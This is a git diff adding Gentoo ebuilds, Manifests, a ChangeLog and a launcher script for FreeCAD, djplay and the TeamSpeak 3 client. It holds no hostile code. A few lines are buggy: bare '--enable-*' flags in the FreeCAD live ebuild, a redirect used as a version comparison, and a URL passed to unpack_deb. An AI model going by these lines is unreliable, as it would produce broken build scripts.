+++ b/media-gfx/freecad/freecad-0.12.5284-r3.ebuild
@@ -0,0 +1,128 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/media-gfx/freecad/freecad-0.12.5284-r3.ebuild,v 1.1 2013/04/27 22:49:15 xmw Exp $
+
+EAPI=5
+
+PYTHON_DEPEND=2
+
+inherit eutils multilib fortran-2 python cmake-utils
+
+DESCRIPTION="QT based Computer Aided Design application"
+HOMEPAGE="http://sourceforge.net/apps/mediawiki/free-cad/"
+SRC_URI="mirror://sourceforge/free-cad/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+RDEPEND="dev-cpp/eigen:3
+	dev-games/ode
+	dev-libs/boost
+	dev-libs/libf2c
+	dev-libs/libspnav[X]
+	dev-libs/xerces-c[icu]
+	dev-python/PyQt4[svg]
+	dev-python/pivy
+	dev-qt/qtgui:4
+	dev-qt/qtopengl:4
+	dev-qt/qtsvg:4
+	dev-qt/qtwebkit:4
+	dev-qt/qtxmlpatterns:4
+	media-libs/SoQt
+	media-libs/coin[doc]
+	sci-libs/gts
+	sci-libs/opencascade
+	sys-libs/zlib
+	virtual/glu"
+DEPEND="${RDEPEND}
+	>=dev-lang/swig-2.0.4-r1:0"
+
+# http://bugs.gentoo.org/show_bug.cgi?id=352435
+# http://www.gentoo.org/foundation/en/minutes/2011/20110220_trustees.meeting_log.txt
+RESTRICT="bindist mirror"
+
+S="${WORKDIR}/FreeCAD-${PV}"
+
+pkg_setup() {
+	fortran-2_pkg_setup
+	python_set_active_version 2
+}
+
+src_prepare() {
+	einfo remove bundled libs
+	rm -rf src/3rdParty/{Pivy{,-0.5},boost}
+	einfo cleanup build system
+	find . -name "configure*" -print -delete
+
+	epatch \
+		"${FILESDIR}"/${P}-gcc46.patch \
+		"${FILESDIR}"/${P}-removeoldswig.patch \
+		"${FILESDIR}"/${P}-glu.patch \
+		"${FILESDIR}"/${P}-nodir.patch \
+		"${FILESDIR}"/${P}-qt3support.patch \
+		"${FILESDIR}"/${P}-boost148.patch \
+		"${FILESDIR}"/${P}-nopivy.patch \
+		"${FILESDIR}"/${P}-no-permissive.patch
+
+	local my_cas_version=$(eselect opencascadee show 2>/dev/null || echo 6.5)
+	if [ "${my_cas_version}" > "6.5.0" ] ; then
+		epatch  "${FILESDIR}"/${P}-occ-6.5.5.patch
+		epatch  "${FILESDIR}"/${P}-salomesmesh-occ-6.5.5.patch
+	fi
+
+	local my_coin_version=$(best_version media-libs/coin)
+	local my_coin_path="${EROOT}"usr/share/doc/${my_coin_version##*/}/html
+	sed -e "s:/usr/share/doc/libcoin60-doc/html:${my_coin_path}:" \
+		-i cMake/FindCoin3DDoc.cmake || die
+
+	sed -e '/FREECAD_BUILD_FEM/s: ON): OFF):' \
+		-i CMakeLists.txt || die
+	#sed -e '/add_subdirectory(Fem)/d' \
+	#	-e '/add_subdirectory(MeshPart)/d' \
+	#	-i src/Mod/CMakeLists.txt || die
+}
+
+src_configure() {
+	local my_occ_env=${EROOT}etc/env.d/50opencascade
+	if [ -e "${EROOT}etc//env.d/51opencascade" ] ; then
+		my_occ_env=${EROOT}etc/env.d/51opencascade
+	fi
+	export CASROOT=$(sed -ne '/^CASROOT=/{s:.*=:: ; p}' $my_occ_env)
+
+	local mycmakeargs=(
+		-DOCC_INCLUDE_DIR="${CASROOT}"/inc
+		-DOCC_INCLUDE_PATH="${CASROOT}"/inc
+		-DOCC_LIBRARY="${CASROOT}"/lib/libTKernel.so
+		-DOCC_LIBRARY_DIR="${CASROOT}"/lib
+		-DOCC_LIB_PATH="${CASROOT}"/lib
+		-DCOIN3D_INCLUDE_DIR="${EROOT}"usr/include/coin
+		-DCOIN3D_LIBRARY="${EROOT}"usr/$(get_libdir)/libCoin.so
+		-DSOQT_LIBRARY="${EROOT}"usr/$(get_libdir)/libSoQt.so
+		-DSOQT_INCLUDE_PATH="${EROOT}"usr/include/coin
+		-DCMAKE_INSTALL_PREFIX="${EROOT}"usr/$(get_libdir)/${P}
+	)
+	cmake-utils_src_configure
+	ewarn "${P} will be built against opencascade version ${CASROOT}"
+}
+
+src_install() {
+	cmake-utils_src_install
+	insinto /usr/$(get_libdir)/${P}/Mod/Start
+	doins -r src/Mod/Start/StartPage
+
+	prune_libtool_files
+
+	make_wrapper FreeCAD \
+		"${EROOT}"usr/$(get_libdir)/${P}/bin/FreeCAD \
+		"" "${EROOT}"usr/$(get_libdir)/${P}/lib
+	make_wrapper FreeCADCmd \
+		"${EROOT}"usr/$(get_libdir)/${P}/bin/FreeCADCmd \
+		"" "${EROOT}"usr/$(get_libdir)/${P}/lib
+
+	newicon src/Main/icon.ico ${PN}.ico
+	make_desktop_entry FreeCAD
+
+	dodoc README.Linux ChangeLog.txt
+}
diff --git a/media-gfx/freecad/freecad-0.13.1830.ebuild b/media-gfx/freecad/freecad-0.13.1830.ebuild
new file mode 100644
index 00000000..6dfc820a
--- /dev/null
+++ b/media-gfx/freecad/freecad-0.13.1830.ebuild
@@ -0,0 +1,88 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/media-gfx/freecad/freecad-0.13.1830.ebuild,v 1.2 2013/05/09 08:36:38 xmw Exp $
+
+EAPI=5
+
+PYTHON_DEPEND=2
+
+inherit eutils multilib fortran-2 python cmake-utils
+
+DESCRIPTION="QT based Computer Aided Design application"
+HOMEPAGE="http://www.freecadweb.org/"
+SRC_URI="mirror://sourceforge/free-cad/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS=""
+IUSE=""
+
+RDEPEND="dev-cpp/eigen:3
+	dev-games/ode
+	dev-libs/boost
+	dev-libs/libf2c
+	dev-libs/libspnav[X]
+	dev-libs/xerces-c[icu]
+	dev-python/PyQt4[svg]
+	dev-python/pivy
+	dev-qt/qtgui:4
+	dev-qt/qtopengl:4
+	dev-qt/qtsvg:4
+	dev-qt/qtwebkit:4
+	dev-qt/qtxmlpatterns:4
+	media-libs/SoQt
+	media-libs/coin[doc]
+	sci-libs/gts
+	sci-libs/opencascade
+	sys-libs/zlib
+	virtual/glu"
+DEPEND="${RDEPEND}
+	>=dev-lang/swig-2.0.4-r1:0"
+
+# http://bugs.gentoo.org/show_bug.cgi?id=352435
+# http://www.gentoo.org/foundation/en/minutes/2011/20110220_trustees.meeting_log.txt
+RESTRICT="bindist mirror"
+
+pkg_setup() {
+	fortran-2_pkg_setup
+	python_set_active_version 2
+}
+
+src_prepare() {
+	einfo remove bundled libs
+	rm -rf src/3rdParty
+
+	epatch "${FILESDIR}"/${P}-remove-qt3-support.patch
+}
+
+src_configure() {
+	local my_occ_env=${EROOT}etc/env.d/50opencascade
+	if [ -e "${EROOT}etc//env.d/51opencascade" ] ; then
+		my_occ_env=${EROOT}etc/env.d/51opencascade
+	fi
+	export CASROOT=$(sed -ne '/^CASROOT=/{s:.*=:: ; p}' $my_occ_env)
+
+	local mycmakeargs=(
+		-DOCC_INCLUDE_DIR="${CASROOT}"/inc
+		-DOCC_INCLUDE_PATH="${CASROOT}"/inc
+		-DOCC_LIBRARY="${CASROOT}"/lib/libTKernel.so
+		-DOCC_LIBRARY_DIR="${CASROOT}"/lib
+		-DOCC_LIB_PATH="${CASROOT}"/lib
+		-DCOIN3D_INCLUDE_DIR="${EROOT}"usr/include/coin
+		-DCOIN3D_LIBRARY="${EROOT}"usr/$(get_libdir)/libCoin.so
+		-DSOQT_LIBRARY="${EROOT}"usr/$(get_libdir)/libSoQt.so
+		-DSOQT_INCLUDE_PATH="${EROOT}"usr/include/coin
+		-DCMAKE_BINARY_DIR="${EROOT}"usr/bin
+		-DCMAKE_INSTALL_PREFIX="${EROOT}"usr/$(get_libdir)/${P}
+	)
+	cmake-utils_src_configure
+	ewarn "${P} will be built against opencascade version ${CASROOT}"
+}
+
+src_install() {
+	cmake-utils_src_install
+
+	prune_libtool_files
+
+	dodoc README.Linux ChangeLog.txt
+}
diff --git a/media-gfx/freecad/freecad-9999.ebuild b/media-gfx/freecad/freecad-9999.ebuild
new file mode 100644
index 00000000..305d3633
--- /dev/null
+++ b/media-gfx/freecad/freecad-9999.ebuild
@@ -0,0 +1,107 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/media-gfx/freecad/freecad-0.11.3729.ebuild,v 1.6 2011/11/13 20:13:27 dilfridge Exp $
+
+EAPI=3
+
+PYTHON_DEPEND=2
+
+inherit base eutils fortran-2 multilib autotools flag-o-matic python git-2
+
+MY_P="freecad-${PV}"
+MY_PD="FreeCAD-${PV}"
+
+DESCRIPTION="QT based Computer Aided Design application"
+HOMEPAGE="http://sourceforge.net/apps/mediawiki/free-cad/"
+EGIT_REPO_URI="git://free-cad.git.sourceforge.net/gitroot/free-cad/free-cad"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="soqt assembly sandbox cam loginfo"
+
+RDEPEND="
+	dev-cpp/eigen
+	dev-games/ode
+	dev-libs/boost
+	dev-libs/xerces-c
+	dev-python/pivy
+	dev-python/PyQt4[svg]
+	media-libs/coin
+	soqt? ( media-libs/SoQt )
+	>=sci-libs/opencascade-6.3
+	sci-libs/gts
+	sys-libs/zlib
+	virtual/fortran
+	x11-libs/qt-gui:4
+	x11-libs/qt-opengl:4
+	x11-libs/qt-svg:4
+	x11-libs/qt-webkit:4
+	x11-libs/qt-xmlpatterns:4
+	x11-libs/qt-qt3support:4"
+DEPEND="${RDEPEND}
+	dev-lang/swig"
+
+#PATCHES=( "${FILESDIR}/${P}-asneeded.patch" )
+
+RESTRICT="bindist mirror"
+# http://bugs.gentoo.org/show_bug.cgi?id=352435
+# http://www.gentoo.org/foundation/en/minutes/2011/20110220_trustees.meeting_log.txt
+
+S="${WORKDIR}/${MY_PD}"
+
+pkg_setup() {
+	fortran-2_pkg_setup
+	python_set_active_version 2
+}
+
+src_prepare() {
+	base_src_prepare
+	./autogen.sh
+	eautoreconf
+}
+
+src_configure() {
+	if use assembly ; then
+		--enable-assembly
+	fi
+	if use sandbox ; then
+		--enable-sandbox
+	fi
+	if use cam ; then
+		--enable-cam
+	fi
+	if use loginfo ; then
+		--enable-loginfo
+	fi
+	if ! use soqt ; then
+		--without-soqt
+	fi
+	append-cflags "-DBOOST_FILESYSTEM_VERSION=2"
+	append-cppflags "-DBOOST_FILESYSTEM_VERSION=2"
+	append-cxxflags "-DBOOST_FILESYSTEM_VERSION=2"
+	econf \
+		--with-qt4-include="${EPREFIX}"/usr/include/qt4 \
+		--with-qt4-bin="${EPREFIX}"//usr/bin \
+		--with-qt4-lib="${EPREFIX}"//usr/$(get_libdir)/qt4 \
+		--with-occ-include=${CASROOT}/inc \
+		--with-occ-lib=${CASROOT}/lib 
+}
+
+src_compile() {
+	#For compilation safety keep j1
+	MAKEOPTS="-j1" base_src_compile
+}
+
+src_install() {
+	emake  DESTDIR="${D}" install || die "install failed"
+
+	find "${D}" -name "*.la" -exec rm {} +
+
+	dodoc README.Linux ChangeLog.txt || die
+
+	dodir /usr/share/apps/freecad || die
+	mv "${D}/usr/share/freecad.xpm" "${D}/usr/share/apps/freecad/" || die
+
+	make_desktop_entry FreeCAD FreeCAD /usr/share/apps/freecad/freecad.xpm
+}
diff --git a/media-sound/djplay/Manifest b/media-sound/djplay/Manifest
new file mode 100644
index 00000000..df65629c
--- /dev/null
+++ b/media-sound/djplay/Manifest
@@ -0,0 +1,2 @@
+DIST djplay_0.5.0-3.1+b1_amd64.deb 310504 SHA256 951620f984bb0ca1d526379855aa2a1e2c7f3446d2fa52da87dfc7ee3eab590d SHA512 f8a157e3552ce98686cf17f0d6acbaff35380b91c414f3452c81d25fbc4d33a1b35ffe3e9b25e89b4ae19c52ede394d17d3c63662fe086f5bd02aff97b3ed9f2 WHIRLPOOL 2d3ea104f3673427d94043885255a0123b33bdc0d4423b639bee9cd3010117bf97b24f3c804da70e21d62157e8a9f5e23f7b06536f4e6907672ad29bcb8e407c
+EBUILD djplay-0.5.0.ebuild 664 SHA256 4b7e8d01498c396b1cba7b1ddc631796db32db1f95bef492e353d18c48455b60 SHA512 31aa2946113edf316a12876aab3ba2b9fac4231414ac7d5d886c6c7f570ee505bd101d1d355401614f4d418ce869df0f7d766810de9f7ef0b81ed5fd97421c0b WHIRLPOOL 5f2735b002f3973d012ab87b43bdb489cdded6ddf31bf36c58323f84b5859119dab2ad7e1f47d66251a1cc221fbd792caea607ba1f0e390bc94bf4a10e7c9888
diff --git a/media-sound/djplay/djplay-0.5.0.ebuild b/media-sound/djplay/djplay-0.5.0.ebuild
new file mode 100644
index 00000000..7b294a6b
--- /dev/null
+++ b/media-sound/djplay/djplay-0.5.0.ebuild
@@ -0,0 +1,34 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+inherit eutils unpacker
+
+DESCRIPTION="Djplay sound application"
+HOMEPAGE="http://djplay.sourceforge.net/"
+SRC_URI="http://http.us.debian.org/debian/pool/main/d/${PN}/${PN}_${PV}-3.1+b1_amd64.deb"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+
+RDEPEND="x11-libs/qt-meta:3"
+DEPEND="${RDEPEND}"
+
+S="${WORKDIR}"
+
+src_unpack() {
+	unpack "${A}"
+}
+
+src_prepare() {
+	unpack_deb http://http.us.debian.org/debian/pool/main/d/${PN}/${PN}_${PV}-3.1+b1_amd64.deb
+}
+
+src_install() {
+	insinto /
+	doins -r "${S}"/usr
+	fperms u+x /usr/bin/djplay*
+}
diff --git a/media-sound/teamspeak-client-bin/ChangeLog b/media-sound/teamspeak-client-bin/ChangeLog
new file mode 100644
index 00000000..8a380f62
--- /dev/null
+++ b/media-sound/teamspeak-client-bin/ChangeLog
@@ -0,0 +1,148 @@
+# ChangeLog for media-sound/teamspeak-client-bin
+# Copyright 1999-2012 Gentoo Foundation; Distributed under the GPL v2
+# $Header: /var/cvsroot/gentoo-x86/media-sound/teamspeak-client-bin/ChangeLog,v 1.23 2012/05/09 11:49:45 polynomial-c Exp $
+
+*teamspeak-client-bin-3.0.6 (09 May 2012)
+
+  09 May 2012; Lars Wendler <polynomial-c@gentoo.org>
+  -teamspeak-client-bin-3.0.0_beta36.ebuild,
+  +teamspeak-client-bin-3.0.6.ebuild:
+  non-maintainer commit: Version bump. Removed ancient version.
+
+  14 Apr 2012; Pacho Ramos <pacho@gentoo.org>
+  teamspeak-client-bin-3.0.0_beta36.ebuild,
+  teamspeak-client-bin-3.0.0_rc1.ebuild:
+  Fix bug #411003.
+
+  05 Feb 2012; Mike Frysinger <vapier@gentoo.org>
+  teamspeak-client-bin-3.0.0_beta36.ebuild,
+  teamspeak-client-bin-3.0.0_rc1.ebuild:
+  Use unpack_makeself now that it supports newer versions.
+
+  21 Oct 2011; Samuli Suominen <ssuominen@gentoo.org>
+  teamspeak-client-bin-3.0.0_beta36.ebuild,
+  teamspeak-client-bin-3.0.0_rc1.ebuild:
+  Remove unused =media-libs/libpng-1.4* RDEPEND. The bundled copy of libQtGui
+  has NEEDED entry for libpng12.so.0 but this is not required when using the
+  system libQtGui.
+
+*teamspeak-client-bin-3.0.0_rc1 (03 Jun 2011)
+
+  03 Jun 2011; Christian Parpart <trapni@gentoo.org>
+  -teamspeak-client-bin-3.0.0_beta29.ebuild,
+  -teamspeak-client-bin-3.0.0_beta32.ebuild,
+  -teamspeak-client-bin-3.0.0_beta32-r1.ebuild,
+  -teamspeak-client-bin-3.0.0_beta32-r2.ebuild,
+  +teamspeak-client-bin-3.0.0_rc1.ebuild:
+  version bump and cleanup
+
+*teamspeak-client-bin-3.0.0_beta36 (27 Feb 2011)
+
+  27 Feb 2011; Christian Parpart <trapni@gentoo.org>
+  +teamspeak-client-bin-3.0.0_beta36.ebuild:
+  version bump
+
+*teamspeak-client-bin-3.0.0_beta32-r2 (23 Oct 2010)
+
+  23 Oct 2010; Christian Parpart <trapni@gentoo.org>
+  +teamspeak-client-bin-3.0.0_beta32-r2.ebuild:
+  adds desktop icon. fixes #330293 (thanks to David Mihalcin Jr.
+  <dmihalcin@verizon.net>)
+
+*teamspeak-client-bin-3.0.0_beta32-r1 (23 Oct 2010)
+
+  23 Oct 2010; Christian Parpart <trapni@gentoo.org>
+  +teamspeak-client-bin-3.0.0_beta32-r1.ebuild:
+  fixes #328807 - thanks to wrstwssr@yahoo.com
+
+*teamspeak-client-bin-3.0.0_beta32 (23 Oct 2010)
+
+  23 Oct 2010; Christian Parpart <trapni@gentoo.org> files/teamspeak3,
+  +teamspeak-client-bin-3.0.0_beta32.ebuild:
+  version bump
+
+*teamspeak-client-bin-3.0.0_beta29 (11 Sep 2010)
+
+  11 Sep 2010; Christian Parpart <trapni@gentoo.org>
+  -teamspeak-client-bin-3.0.0_beta15.ebuild,
+  -teamspeak-client-bin-3.0.0_beta17.ebuild,
+  -teamspeak-client-bin-3.0.0_beta20.ebuild,
+  -teamspeak-client-bin-3.0.0_beta21.ebuild,
+  -teamspeak-client-bin-3.0.0_beta22.ebuild,
+  +teamspeak-client-bin-3.0.0_beta29.ebuild:
+  version bump plus ebuild cleanup
+
+  14 Jul 2010; Christian Parpart <trapni@gentoo.org>
+  teamspeak-client-bin-3.0.0_beta22.ebuild:
+  added =media-libs/libpng-1.2* to RDEPENDS
+
+*teamspeak-client-bin-3.0.0_beta22 (20 Jun 2010)
+
+  20 Jun 2010; Christian Parpart <trapni@gentoo.org>
+  +teamspeak-client-bin-3.0.0_beta22.ebuild:
+  version bump
+
+*teamspeak-client-bin-3.0.0_beta21 (03 Jun 2010)
+
+  03 Jun 2010; Christian Parpart <trapni@gentoo.org>
+  +teamspeak-client-bin-3.0.0_beta21.ebuild:
+  version bump
+
+*teamspeak-client-bin-3.0.0_beta20 (16 May 2010)
+
+  16 May 2010; Christian Parpart <trapni@gentoo.org>
+  +teamspeak-client-bin-3.0.0_beta20.ebuild:
+  version bump
+
+  16 Feb 2010; Samuli Suominen <ssuominen@gentoo.org> metadata.xml:
+  Remove sound from metadata.xml.
+
+*teamspeak-client-bin-3.0.0_beta17 (15 Mar 2010)
+
+  15 Mar 2010; Christian Parpart <trapni@gentoo.org>
+  +teamspeak-client-bin-3.0.0_beta17.ebuild:
+  version bump
+
+  08 Feb 2010; Christian Parpart <trapni@gentoo.org>
+  -teamspeak-client-bin-3.0.0_beta5.ebuild,
+  -teamspeak-client-bin-3.0.0_beta9.ebuild,
+  -teamspeak-client-bin-3.0.0_beta11.ebuild,
+  -teamspeak-client-bin-3.0.0_beta12.ebuild,
+  -teamspeak-client-bin-3.0.0_beta13.ebuild:
+  cleanup
+
+  08 Feb 2010; Christian Parpart <trapni@gentoo.org>
+  +teamspeak-client-bin-3.0.0_beta15.ebuild:
+  version bump, closes #303147
+
+*teamspeak-client-bin-3.0.0_beta13 (04 Feb 2010)
+
+  04 Feb 2010; Christian Parpart <trapni@gentoo.org>
+  +teamspeak-client-bin-3.0.0_beta13.ebuild:
+  version bump
+
+*teamspeak-client-bin-3.0.0_beta12 (21 Jan 2010)
+
+  21 Jan 2010; Christian Parpart <trapni@gentoo.org>
+  +teamspeak-client-bin-3.0.0_beta12.ebuild:
+  version bump
+
+*teamspeak-client-bin-3.0.0_beta11 (20 Jan 2010)
+
+  20 Jan 2010; Christian Parpart <trapni@gentoo.org>
+  +teamspeak-client-bin-3.0.0_beta11.ebuild:
+  version bump plus license update
+
+*teamspeak-client-bin-3.0.0_beta9 (03 Jan 2010)
+
+  03 Jan 2010; Christian Parpart <trapni@gentoo.org>
+  +teamspeak-client-bin-3.0.0_beta9.ebuild:
+  version bump
+
+*teamspeak-client-bin-3.0.0_beta5 (23 Dec 2009)
+
+  23 Dec 2009; Christian Parpart <trapni@gentoo.org> +files/teamspeak3,
+  +teamspeak-client-bin-3.0.0_beta5.ebuild, +metadata.xml:
+  initial commit of TeamSpeak Client, version 3 (beta) - thanks to bug
+  #297577
+
diff --git a/media-sound/teamspeak-client-bin/Manifest b/media-sound/teamspeak-client-bin/Manifest
new file mode 100644
index 00000000..2edc9714
--- /dev/null
+++ b/media-sound/teamspeak-client-bin/Manifest
@@ -0,0 +1,12 @@
+DIST TeamSpeak3-Client-linux_amd64-3.0.0-rc1.run 33158343 SHA256 1c413bedca528478ca0cf9eb99892f3ccf87c3282db28bcf4d33a7185283a148
+DIST TeamSpeak3-Client-linux_amd64-3.0.10.run 32877660 SHA256 52d1da2d02e3245968058fdd5a8a5c7542964fe18a3bf6e69cb58ede653ea99a SHA512 b449a40c3133cac06177b1cc0912400a85a4b43eb3632d939b954bac7e86f0373738387e82eae6588bd67d85ac1bb1258b70ccf48559e32b8f5c482a349fa98c WHIRLPOOL d10edbf072218e0f5374948bf3f09fd247c0fa90b3ac01bfad37c6c2f64cdb44135305c12f360e8604ec3c35743de120b14f8bc190bf91964e2fa58470000ae3
+DIST TeamSpeak3-Client-linux_amd64-3.0.13.1.run 33207717 SHA256 211aa921c73369e074e59aa4b664c9d288f98a5f1172f9f8b006a46df5dd4856 SHA512 3d5fc5b419cfd683a0c7787f3ec4b6df14bd944db85eb0abffdbc2b14e5c913cbf77353b46cf81c89f8a34127d362f1312c3e7d6a21b9087b78a171ce0349d9c WHIRLPOOL d2ca0eb74ea5393941dc0613c5ff8462bbae484d61a8d1e2a3e7a04905e777d328e34e073c7a2394d0be6385c92e386d74617c39f7ab6fcb47b13ba5201538c0
+DIST TeamSpeak3-Client-linux_amd64-3.0.6.run 31690990 SHA256 091cffc3377b71f631d91960590e88f8cc6eb257f9629dc1caf37157fc9cbc25
+DIST TeamSpeak3-Client-linux_amd64-3.0.8.1.run 31777722 SHA256 1e82512a580b98186ceba0b5eb0a7e44e4e40b9a52ecf48f27ec9b9b352ed2a1
+DIST TeamSpeak3-Client-linux_amd64-3.0.9.2.run 32255440 SHA256 e380bfe465194c2284ab492ec23dec2ecdcace40d0dadc039486d97d48f9c019 SHA512 359c1c3297b21394173598eca3a257fb79519d654ffd827c8859506653683c124bcd87f123f590e565dd1044317029bd851065af357b1ad35fc842d3c1ea5857 WHIRLPOOL ee6295a43f3c523dd2ef2203b61ad055690aff0c804d97e506d882dc35dbd93bf6a1a322b08241eb0bcbd880feb0146a9113aab2396be315b963223fb67dcbc4
+DIST TeamSpeak3-Client-linux_x86-3.0.0-rc1.run 33420069 SHA256 cc43f56de2c27d2951e19cff461881821eacb1f9f1f4f89811ea3ce42f8b5a12
+DIST TeamSpeak3-Client-linux_x86-3.0.10.run 33107071 SHA256 ae1b40a8d5c763d2a2dcbd3036ceeabacd4d233bb59ef231e49d8a5be04e469c SHA512 3607d681eb1c55ee66a9157f06fd22f44ebafa97d2b7aa7d5dd49817381258311e93733ec5af1eba1de3efa51f9fba5cdea4b8098ec3c842583b184afcb53a2a WHIRLPOOL 72f1a696ac910bc7003f0b849a1f7f575f85b20631b0341e98d4467077d017992f7e7350e25fd7880147195bf674c79b938872958064ac6e32d7dc3541c92c87
+DIST TeamSpeak3-Client-linux_x86-3.0.13.1.run 33947497 SHA256 0162f1cef570acde7245fb62c3ed52aa606234375a14d0bcce35500b183d9cc2 SHA512 32af801f73de876e667f31b8046baf9df6498a1ad6f71de2ca33257ee685abc80f200750e4c8e6cb5931635d31f261de9cb409f930c1e99e42be5f9543dbf062 WHIRLPOOL 69964e6b757f77c9ba87b3efa19b55ced5aa60a0ee50af3011426682832d307e4eb79554d8928f5647556258d40808eb5259d3606c7b2df27dcdb95c19078482
+DIST TeamSpeak3-Client-linux_x86-3.0.6.run 31970375 SHA256 1cf285ec654a8a084cf7ab3e2ef10607fe4d7b5a4d6b5c8d568078cb6534e1cf
+DIST TeamSpeak3-Client-linux_x86-3.0.8.1.run 32058260 SHA256 929f8ab55b1c8a3581a371f36cdcd5fa329e7d23a9f4eca7b551199b450a41ce
+DIST TeamSpeak3-Client-linux_x86-3.0.9.2.run 32500444 SHA256 df97e3af400bc5b3a3ff656270c3bb6a28b2907d03c38aed6e0cc7c34243301c SHA512 5a090a17986e01a1fe993fb34f9760954ee16dd7c0ddcf4fa8129bb54fb47becdfe731e463254f3330168733a0566aa2171e4ac6d1d95922ca747246278dc3a8 WHIRLPOOL be5ea70844b517f7ec47b00c4212641e842b1ea71c93369d22699ec1d862c0d72df03f334118a01d90c987fe9c075de01c658794a93daeb1006e56e0ccf4f3d4
diff --git a/media-sound/teamspeak-client-bin/files/teamspeak3 b/media-sound/teamspeak-client-bin/files/teamspeak3
new file mode 100644
index 00000000..d598f01d
--- /dev/null
+++ b/media-sound/teamspeak-client-bin/files/teamspeak3
@@ -0,0 +1,10 @@
+#! /bin/sh
+
+BASEDIR="/opt/teamspeak3-client"
+
+export LD_LIBRARY_PATH="${BASEDIR}${LD_LIBRARY_PATH:+:}${LD_LIBRARY_PATH}"
+
+# work around DT_RPATH (.) security issue by chdir'ing into expected $LD_LIBRARY_PATH
+cd "${BASEDIR}"
+
+exec "${BASEDIR}/ts3client" "$@"
diff --git a/media-sound/teamspeak-client-bin/metadata.xml b/media-sound/teamspeak-client-bin/metadata.xml
new file mode 100644
index 00000000..8d95b220
--- /dev/null
+++ b/media-sound/teamspeak-client-bin/metadata.xml
@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+	<maintainer>
+		<email>trapni@gentoo.org</email>
+	</maintainer>
+	<longdescription>TeamSpeak Client (Voice Communication Software)</longdescription>
+</pkgmetadata>
diff --git a/media-sound/teamspeak-client-bin/teamspeak-client-bin-3.0.0_rc1.ebuild b/media-sound/teamspeak-client-bin/teamspeak-client-bin-3.0.0_rc1.ebuild
new file mode 100644
index 00000000..ae6ad880
--- /dev/null
+++ b/media-sound/teamspeak-client-bin/teamspeak-client-bin-3.0.0_rc1.ebuild
@@ -0,0 +1,47 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/media-sound/teamspeak-client-bin/teamspeak-client-bin-3.0.0_rc1.ebuild,v 1.4 2012/04/14 11:14:33 pacho Exp $
+
+EAPI=1
+
+inherit eutils unpacker
+
+DESCRIPTION="TeamSpeak Client - Voice Communication Software"
+HOMEPAGE="http://teamspeak.com/"
+LICENSE="teamspeak3"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+RESTRICT="strip"
+PROPERTIES="interactive"
+
+SRC_URI="
+	amd64? ( http://ftp.4players.de/pub/hosted/ts3/releases/rc${PV/3.0.0_rc/}/TeamSpeak3-Client-linux_amd64-${PV/_/-}.run )
+	x86? ( http://ftp.4players.de/pub/hosted/ts3/releases/rc${PV/3.0.0_rc/}/TeamSpeak3-Client-linux_x86-${PV/_/-}.run )
+"
+
+DEPEND=""
+RDEPEND="${DEPEND}
+		x11-libs/qt-gui:4
+		>=x11-libs/libXinerama-1.0.2"
+
+src_install() {
+	local dest="${D}/opt/teamspeak3-client"
+
+	mkdir -p "${dest}"
+
+	# remove the qt-libraries as they just cause trouble with the system's Qt
+	# see bug #328807
+	rm "${WORKDIR}"/libQt* || die
+
+	cp -R "${WORKDIR}/"* "${dest}/" || die
+
+	exeinto /usr/bin
+	doexe "${FILESDIR}/teamspeak3"
+
+	mv "${dest}/ts3client_linux_"* "${dest}/ts3client"
+
+	make_desktop_entry teamspeak3 TeamSpeak3 \
+		"/opt/teamspeak3-client/gfx/default/24x24_connect.png" \
+		Network
+}
diff --git a/media-sound/teamspeak-client-bin/teamspeak-client-bin-3.0.10.ebuild b/media-sound/teamspeak-client-bin/teamspeak-client-bin-3.0.10.ebuild
new file mode 100644
index 00000000..2feea187
--- /dev/null
+++ b/media-sound/teamspeak-client-bin/teamspeak-client-bin-3.0.10.ebuild
@@ -0,0 +1,47 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/media-sound/teamspeak-client-bin/teamspeak-client-bin-3.0.6.ebuild,v 1.1 2012/05/09 11:49:45 polynomial-c Exp $
+
+EAPI=1
+
+inherit eutils unpacker
+
+DESCRIPTION="TeamSpeak Client - Voice Communication Software"
+HOMEPAGE="http://teamspeak.com/"
+LICENSE="teamspeak3"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+RESTRICT="strip"
+PROPERTIES="interactive"
+
+SRC_URI="
+	amd64? ( http://ftp.4players.de/pub/hosted/ts3/releases/${PV}/TeamSpeak3-Client-linux_amd64-${PV/_/-}.run )
+	x86? ( http://ftp.4players.de/pub/hosted/ts3/releases/${PV}/TeamSpeak3-Client-linux_x86-${PV/_/-}.run )
+"
+
+DEPEND=""
+RDEPEND="${DEPEND}
+		dev-qt/qtgui:4
+		>=x11-libs/libXinerama-1.0.2"
+
+src_install() {
+	local dest="${D}/opt/teamspeak3-client"
+
+	mkdir -p "${dest}"
+
+	# remove the qt-libraries as they just cause trouble with the system's Qt
+	# see bug #328807
+	rm "${WORKDIR}"/libQt* || die
+
+	cp -R "${WORKDIR}/"* "${dest}/" || die
+
+	exeinto /usr/bin
+	doexe "${FILESDIR}/teamspeak3"
+
+	mv "${dest}/ts3client_linux_"* "${dest}/ts3client"
+
+	make_desktop_entry teamspeak3 TeamSpeak3 \
+		"/opt/teamspeak3-client/gfx/default/24x24_connect.png" \
+		Network
+}
